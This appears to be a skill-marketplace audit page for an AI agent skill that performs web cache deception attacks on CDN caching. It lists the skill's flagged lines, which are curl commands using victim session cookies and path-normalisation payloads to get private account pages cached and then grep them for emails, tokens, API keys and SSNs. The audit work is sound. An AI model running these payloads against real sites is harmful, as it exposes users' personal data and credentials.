performing-web-cache-deception-attack
Enables execution of web cache deception attacks by exploiting path normalization discrepancies in CDN caching layers.
Install this skill
Security score
The performing-web-cache-deception-attack skill was audited on Jun 5, 2026 and we found 48 security issues across 2 threat categories. Review the findings below before installing.
Categories Tested
Security Issues
Curl to non-GitHub URL
| 57 | curl -I http://target.com/account/profile |
Curl to non-GitHub URL
| 61 | curl -I "http://target.com/static/style.css" |
Curl to non-GitHub URL
| 67 | curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache" |
Curl to non-GitHub URL
| 78 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css" |
Curl to non-GitHub URL
| 81 | curl "http://target.com/account/profile/anything.css" |
Curl to non-GitHub URL
| 86 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null |
Curl to non-GitHub URL
| 89 | curl -s "http://target.com/account/profile/x.$ext" | head -c 200 |
Curl to non-GitHub URL
| 98 | curl -b "session=VICTIM" "http://target.com/account/profile;anything.css" |
Curl to non-GitHub URL
| 101 | curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css" |
Curl to non-GitHub URL
| 102 | curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css" |
Curl to non-GitHub URL
| 105 | curl -b "session=VICTIM" "http://target.com/account/profile%00.css" |
Curl to non-GitHub URL
| 108 | curl -b "session=VICTIM" "http://target.com/account/profile%23.css" |
Curl to non-GitHub URL
| 111 | curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile" |
Curl to non-GitHub URL
| 120 | curl -b "session=VICTIM" "http://target.com/static/../account/profile" |
Curl to non-GitHub URL
| 124 | curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile" |
Curl to non-GitHub URL
| 127 | curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS" |
Curl to non-GitHub URL
| 130 | curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css" |
Curl to non-GitHub URL
| 139 | curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css" |
Curl to non-GitHub URL
| 142 | curl -b "session=VICTIM" "http://target.com/account/profile/./style.css" |
Curl to non-GitHub URL
| 143 | curl "http://target.com/account/profile/./style.css" # Check if cached |
Curl to non-GitHub URL
| 161 | curl -I "http://target.com/account/profile/x.css" |
Curl to non-GitHub URL
| 165 | curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn" |
External URL reference
| 57 | curl -I http://target.com/account/profile |
External URL reference
| 61 | curl -I "http://target.com/static/style.css" |
External URL reference
| 67 | curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache" |
External URL reference
| 74 | # Victim visits: http://target.com/account/profile/nonexistent.css |
External URL reference
| 78 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css" |
External URL reference
| 81 | curl "http://target.com/account/profile/anything.css" |
External URL reference
| 86 | curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null |
External URL reference
| 89 | curl -s "http://target.com/account/profile/x.$ext" | head -c 200 |
External URL reference
| 98 | curl -b "session=VICTIM" "http://target.com/account/profile;anything.css" |
External URL reference
| 101 | curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css" |
External URL reference
| 102 | curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css" |
External URL reference
| 105 | curl -b "session=VICTIM" "http://target.com/account/profile%00.css" |
External URL reference
| 108 | curl -b "session=VICTIM" "http://target.com/account/profile%23.css" |
External URL reference
| 111 | curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile" |
External URL reference
| 120 | curl -b "session=VICTIM" "http://target.com/static/../account/profile" |
External URL reference
| 124 | curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile" |
External URL reference
| 127 | curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS" |
External URL reference
| 130 | curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css" |
External URL reference
| 139 | curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css" |
External URL reference
| 142 | curl -b "session=VICTIM" "http://target.com/account/profile/./style.css" |
External URL reference
| 143 | curl "http://target.com/account/profile/./style.css" # Check if cached |
External URL reference
| 147 | "http://target.com/static/cached.css" |
External URL reference
| 153 | # 1. Craft malicious URL: http://target.com/account/profile/x.css |
External URL reference
| 161 | curl -I "http://target.com/account/profile/x.css" |
External URL reference
| 165 | curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn" |
External URL reference
| 203 | - **Target**: http://target.com |